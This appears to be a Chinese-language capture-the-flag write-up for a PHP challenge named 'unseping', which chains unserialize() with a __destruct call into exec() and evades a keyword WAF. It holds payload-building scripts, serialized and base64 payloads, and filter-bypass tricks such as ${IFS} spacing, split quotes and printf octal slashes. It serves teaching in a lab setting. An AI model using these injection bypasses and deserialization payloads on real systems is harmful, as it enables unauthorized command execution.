web5-unseping (反序列化+waf()绕过+exec()函数)

一.整体思路:

post传参——>base64编码——>反序列化——>调用__wakeup()魔术方法——>执行waf()方法过滤——>调用析构方法()。

0.基础知识掌握

0.1.什么是反序列化?

大体意思为在 PHP 中,序列化和反序列化是通过 serialize() 和 unserialize() 函数实现的

0.2.waf()绕过

在这个waf里,\||&|;| |\/|cat|flag|tac|php|ls,\|对|转义,而每个符号之间用|分割,意为只要满足一个整体就会成立

0.3.php反序列化

大意为将序列化后的数据还原回来,php反序列化s是通过erialize() 和 unserialize() 函数实现

0.4.exec函数以及使用

exec()函数用于执行一个外部程序,语法为:exec(string$command[,array &$input[,int &$return_var]]);是用来调用linux命令的函数,exec()默认被禁止,需要自己手动先开启。首先要关掉安全模式safe_mode = off。然后再查看禁用函数列表,把exec去除,重启apache就ok。
基本语法:

  • $command:要执行的命令,为字符类型,如$ip(ping ip)
  • $output:执行后输出的结果,为数组类型
  • $return_var:为命令执行后的返回状态,为int类型

0.5.construct函数以及绕过

当使用new关键字实例化一个对象时,该构造函数会自动调用,反序列化时类的构造函数(__construct)不会被执行

如何绕过:

  • 反序列化时,类的构造函数即(__construct函数)不会被执行

0.6__destruct折构函数以及它的触发条件

折构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用,是一种垃圾回收机制。

触发条件:

  • 主动调用:unset($obj): 调用unset函数将指向对象的变量删除
  • 主动调用:$obj=NULL: 指向对象的变量被置为空,导致原对象无法引用

0.7命令执行的绕过方式

常见命令绕过:

  • 空格的绕过:${IFS},例:cat${IFS}flag,显示为:cat flag
  • '' : 单引号,例:c''at flag,显示为:cat flag,
  • "" : 双引号,例如同上
  • eg1:
    $a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));这里的array("")固定数组搭配,所以双引号,这里的l和s之间有"",f和lag之间有"",并且中间用了${IFS}绕过空格
  • eg2:
    cat flag_1s_here/flag_831b69012c67b35f.php,变为:
    args=c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。
    解释:${printf${IFS}"\57"}
    1.${...}:命令替换,执行括号内命令并返回结果
    2.${IFS}:代替空格,实际执行printf "\57"
    3.\57是/的八进制ASCII码,通过这些动态生成绕过码

1.首先了解代码意 : 我是小白,从阅读代码开始!!

<?php
highlight_file(__FILE__);                                #高亮显示当前文件源代码

class ease{                                              #case ease{...}定义名为ease的类
    private $method;                                     #要调用的方法名                 
    private $args;                                       #方法参数数组
    
  #构造__construct函数
  function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
   #构造__destruct函数
    function __destruct(){
        if (in_array($this->method, array("ping"))) {    #这里的if用来检查method是否是准许的方法
            call_user_func_array(array($this, $this->method), $this->args);    #动态调用方法
        }
    } 
 
   #这里的ping 方法是危险点,直接将参数传递给exec()函数执行,存在命令注入风险
    function ping($ip){
        exec($ip, $result);                       #这里的exec(要执行的命令,命令执行结果)函数
        var_dump($result);
    }

    #waf过滤方法:过滤了常见的敏感字符串(|,&,;,空格,/,cat,flag,tac,php,ls等)
    function waf($str){
    
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
    #__wakeup魔术方法
    function __wakeup(){
        foreach($this->args as $k => $v) {         #反序列化时对所有参数进行过滤
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];                                   #通过post获取参数ctf
@unserialize(base64_decode($ctf));                     #对ctf进行base64解码后反序列化
?>

二.真正的战争开始了,解题吧!少年!!

  通过上面的解析,我们知道要反序列化拿到自己想要的数据,本题主要考代码审计和反序列化。

首先我们确定ctf参数是一个对象,我们把它定义为$a,从下面的代码开始分析:

function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

  在这个代码中,想要执行call这个函数必须满足条件,in_array是一个搜索函数,题目在ping数组中搜索ping,如果是ping,就执行call函数,而这个call函数是一个回调函数,下面对它进行解析一下:
[$this,$this->method]:$this表示当前对象($this)的某个方法,方法名由$this->method决定, 如:$this->method="ping",则调用$this->ping()
而$this->args:是一个参数数组,会按照顺序纯递给被调用的方法,如:$this->args=["test.txt",123]相当于:$this->ping("test.txt",123)

        exec($ip, $result);//命令执行——>推出args数组一定含有ls ,cat 等字符串
                           //exec()函数执行第一个参数,并把结果放在第二个参数中
        var_dump($result);//输出第二个参数
        }

  于是我们再根据这个代码进行反推,根据上面的讲解,我们知道ping为方法,args为具体的数组值,又因为后面又waf函数检测,所以我们需要绕过,绕过方法见基础知识。
于是我们构造playload代码:疑问来了,为什么要先用ls?这里利用的是exec($ip,$result)函数执行ls命令列出目录文件
<?php
class ease{
    private $method;
    private $args;
    function __construct($method,$args){
        $this->method = $method;
        $this->args=$args;
    }
}
$a = new ease("ping",array("l''s"));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>

得到的playload:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l''s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

页面底部显示为:
array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }

  通过显示的文件,有两个文件,这里flag没有后缀,很可能是一个文件夹,于是对它ls一遍, args=array('l""s${IFS}f""lag_1s_here'),注意:这里的('')要用单引号,因为双引号会被解析为原来的,会报错。

<?php
class ease{
    private $method;
    private $args;
    function __construct($method,$args){
        $this->method = $method;
        $this->args=$args;
    }
}
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>

得到的playload:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:24:"l""s${IFS}f""lag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

页面底部显示为:flag_1s_here/flag_831b69012c67b35f.php

  最后得读取这串flag:cat flag_1s_here/flag_831b69012c67b35f.php,继续绕过,这里对/进行动态绕过:${printf${IFS}"\57"},详情见上。

整体:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp";}}

<?php
class ease{
    private $method;
    private $args;
    function __construct($method,$args){
        $this->method = $method;
        $this->args=$args;
    }
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>

得到的playload:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:74:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp";}}
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

页面底部显示为:
array(2) { [0]=> string(5) " string(47) "//$cyberpeace{8811bb168e5a378bb90030f0d93eedbb}" } 

注意:传入的playload为post传入,推荐使用hackber,传入格式为:ctf=playload,下面附截图


posted @ 2025-04-07 00:14  sun010  阅读(68)  评论(1)    收藏  举报